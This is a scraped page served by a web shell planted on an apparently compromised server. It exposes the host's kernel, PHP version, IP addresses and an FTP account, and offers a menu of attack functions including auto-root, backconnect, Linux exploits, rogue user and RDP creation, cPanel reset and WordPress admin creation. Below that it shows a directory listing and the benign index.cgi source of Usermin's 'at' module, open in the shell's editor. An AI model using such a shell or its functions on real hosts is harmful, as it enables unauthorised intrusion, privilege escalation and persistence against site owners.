Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
at /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
186
B
-rw-r--r--
acl_security.pl
1.17
KB
-rwxr-xr-x
at-lib.pl
2.89
KB
-rwxr-xr-x
config-coherent-linux
84
B
-rw-r--r--
config-corel-linux
88
B
-rw-r--r--
config-debian-linux
88
B
-rw-r--r--
config-debian-linux-3.0-ALL
45
B
-rw-r--r--
config-freebsd
37
B
-rw-r--r--
config-generic-linux
88
B
-rw-r--r--
config-gentoo-linux
97
B
-rw-r--r--
config-irix
44
B
-rw-r--r--
config-mandrake-linux
84
B
-rw-r--r--
config-msc-linux
84
B
-rw-r--r--
config-netbsd
37
B
-rw-r--r--
config-open-linux
89
B
-rw-r--r--
config-redhat-linux
84
B
-rw-r--r--
config-slackware-linux
88
B
-rw-r--r--
config-sol-linux
88
B
-rw-r--r--
config-solaris
47
B
-rw-r--r--
config-suse-linux
88
B
-rw-r--r--
config-syno-linux
88
B
-rw-r--r--
config-turbo-linux
84
B
-rw-r--r--
config-united-linux
88
B
-rw-r--r--
config.info
219
B
-rw-r--r--
config.info.ca
264
B
-rw-r--r--
config.info.de
190
B
-rw-r--r--
config.info.nl
237
B
-rw-r--r--
config.info.no
240
B
-rw-r--r--
config.info.pl
206
B
-rw-r--r--
create_job.cgi
1.07
KB
-rwxr-xr-x
defaultacl
33
B
-rw-r--r--
delete_job.cgi
1.31
KB
-rwxr-xr-x
delete_jobs.cgi
613
B
-rwxr-xr-x
edit_job.cgi
1.57
KB
-rwxr-xr-x
freebsd-lib.pl
1.43
KB
-rwxr-xr-x
index.cgi
4.93
KB
-rwxr-xr-x
irix-lib.pl
1.25
KB
-rwxr-xr-x
linux-lib.pl
1.76
KB
-rwxr-xr-x
module.info
334
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
87
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
118
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
143
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
167
B
-rw-r--r--
module.info.ca
28
B
-rw-r--r--
module.info.ca.auto
62
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
70
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
86
B
-rw-r--r--
module.info.de
102
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
163
B
-rw-r--r--
module.info.es
30
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
93
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
140
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
91
B
-rw-r--r--
module.info.fr
31
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
120
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
95
B
-rw-r--r--
module.info.hu
29
B
-rw-r--r--
module.info.hu.auto
81
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
92
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
132
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
102
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
93
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
103
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
90
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
86
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.auto
57
B
-rw-r--r--
module.info.pl
26
B
-rw-r--r--
module.info.pl.auto
60
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
94
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
103
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
87
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
166
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
97
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
89
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
100
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
143
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
101
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
155
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
148
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
125
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
78
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
87
B
-rw-r--r--
solaris-lib.pl
1.35
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # List all at jobs and display a form for creating a new one # # F&AS : default parameters can be set # ext_user : default user # ext_cmd : default command use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; our (%access, %text, %in, %config); our ($module_name, $remote_user); require './at-lib.pl'; use POSIX; &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1); ReadParse(); # Check if at is installed if (!&has_command("at")) { &ui_print_endpage(&text('index_noat', "<tt>at</tt>", "../config.cgi?$module_name")); } # Check if OS is supported if (!defined(&list_atjobs)) { &ui_print_endpage(&text('index_nostyle', "../config.cgi?$module_name")); } # Show list of existing jobs my @jobs = &list_atjobs(); @jobs = grep { &can_edit_user(\%access, $_->{'user'}) } @jobs; if (@jobs) { print &ui_form_start("delete_jobs.cgi", "post"); @jobs = sort { $a->{'id'} <=> $b->{'id'} } @jobs; my @tds = ( "width=5", "nowrap" ); my @links = ( &select_all_link("d"), &select_invert_link("d") ); print &ui_links_row(\@links); print &ui_columns_start([ "", $text{'index_id'}, $text{'index_user'}, $text{'index_exec'}, $text{'index_created'}, $text{'index_cmd'} ], 100, 0, \@tds); foreach my $j (@jobs) { my @cols; push(@cols, &ui_link("edit_job.cgi?id=".$j->{'id'}, $j->{'id'}) ); push(@cols, &html_escape($j->{'user'})); my $date = localtime($j->{'date'}); push(@cols, "<tt>$date</tt>"); my $created = localtime($j->{'created'}); push(@cols, "<tt>$created</tt>"); push(@cols, join("<br>", split(/\n/, &html_escape($j->{'realcmd'})))); print &ui_checked_columns_row(\@cols, \@tds, "d", $j->{'id'}); } print &ui_columns_end(); print &ui_links_row(\@links); print &ui_form_end([ [ "delete", $text{'index_delete'} ] ]); print &ui_hr(); } # Show form for creating a new At job print &ui_form_start("create_job.cgi"); print &ui_table_start($text{'index_header'}, undef, 2); # User to run as my $dir = "/"; my ($user, $usel); if ($access{'mode'} == 1) { $usel = &ui_select("user", undef, [ split(/\s+/, $access{'users'}) ]); } elsif ($access{'mode'} == 3) { $usel = "<tt>$remote_user</tt>"; print &ui_hidden("user", $remote_user); my @uinfo = getpwnam($remote_user); $dir = $uinfo[7]; } else { $usel = &ui_user_textbox("user", $in{'ext_user'}); } print &ui_table_row($text{'index_user'}, $usel); # Run date my @now = localtime(time()); print &ui_table_row($text{'index_date'}, &ui_textbox("day", $now[3], 2)."/". &ui_select("month", $now[4], [ map { [ $_, $text{"smonth_".($_+1)} ] } ( 0 .. 11 ) ])."/". &ui_textbox("year", $now[5]+1900, 4). &date_chooser_button("day", "month", "year")); # Run time print &ui_table_row($text{'index_time'}, &ui_textbox("hour", undef, 2).":".&ui_textbox("min", "00", 2)); # Current date and time my ($date, $time) = split(/\s+/, &make_date(time())); print &ui_table_row($text{'index_cdate'}, $date); print &ui_table_row($text{'index_ctime'}, $time); # Run in directory print &ui_table_row($text{'index_dir'}, &ui_textbox("dir", $dir, 50)); # Commands to run print &ui_table_row($text{'index_cmd'}, &ui_textarea("cmd", $in{'ext_cmd'}, 5, 50)); # Send email on completion print &ui_table_row($text{'index_mail'}, &ui_yesno_radio("mail", 0)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'create'} ] ]); if ($access{'allow'} && $config{'allow_file'}) { # Show form to manage allowed and denied users my @allow = &list_allowed(); my @deny = &list_denied(); print &ui_hr(); print &ui_form_start("save_allow.cgi", "post"); print &ui_table_start($text{'index_allow'}, undef, 2); print &ui_table_row($text{'index_amode'}, &ui_radio("amode", @allow ? 1 : @deny ? 2 : 0, [ [ 0, $text{'index_amode0'} ], [ 1, $text{'index_amode1'} ], [ 2, $text{'index_amode2'} ] ])); print &ui_table_row("", &ui_textarea("ausers", @allow ? join("\n", @allow) : @deny ? join("\n", @deny) : undef, 5, 50)); print &ui_table_end(); print &ui_form_end([ [ "save", $text{'save'} ] ]); } # If there is an init script that runs an atd server, show status if (&foreign_available("init")) { &foreign_require("init"); my $init = defined(&get_init_name) ? &get_init_name() : undef; if ($access{'stop'} && $init) { print &ui_hr(); print &ui_buttons_start(); # Running now? my $r = &init::status_action($init); if ($r == 1) { print &ui_buttons_row("stop.cgi", $text{'index_stop'}, $text{'index_stopdesc'}); } elsif ($r == 0) { print &ui_buttons_row("start.cgi", $text{'index_start'}, $text{'index_startdesc'}); } # Start at boot? my $atboot = &init::action_status($init); print &ui_buttons_row("bootup.cgi", $text{'index_boot'}, $text{'index_bootdesc'}, undef, &ui_radio("boot", $atboot == 2 ? 1 : 0, [ [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ])); print &ui_buttons_end(); } } &ui_print_footer("/", $text{'index'});
Close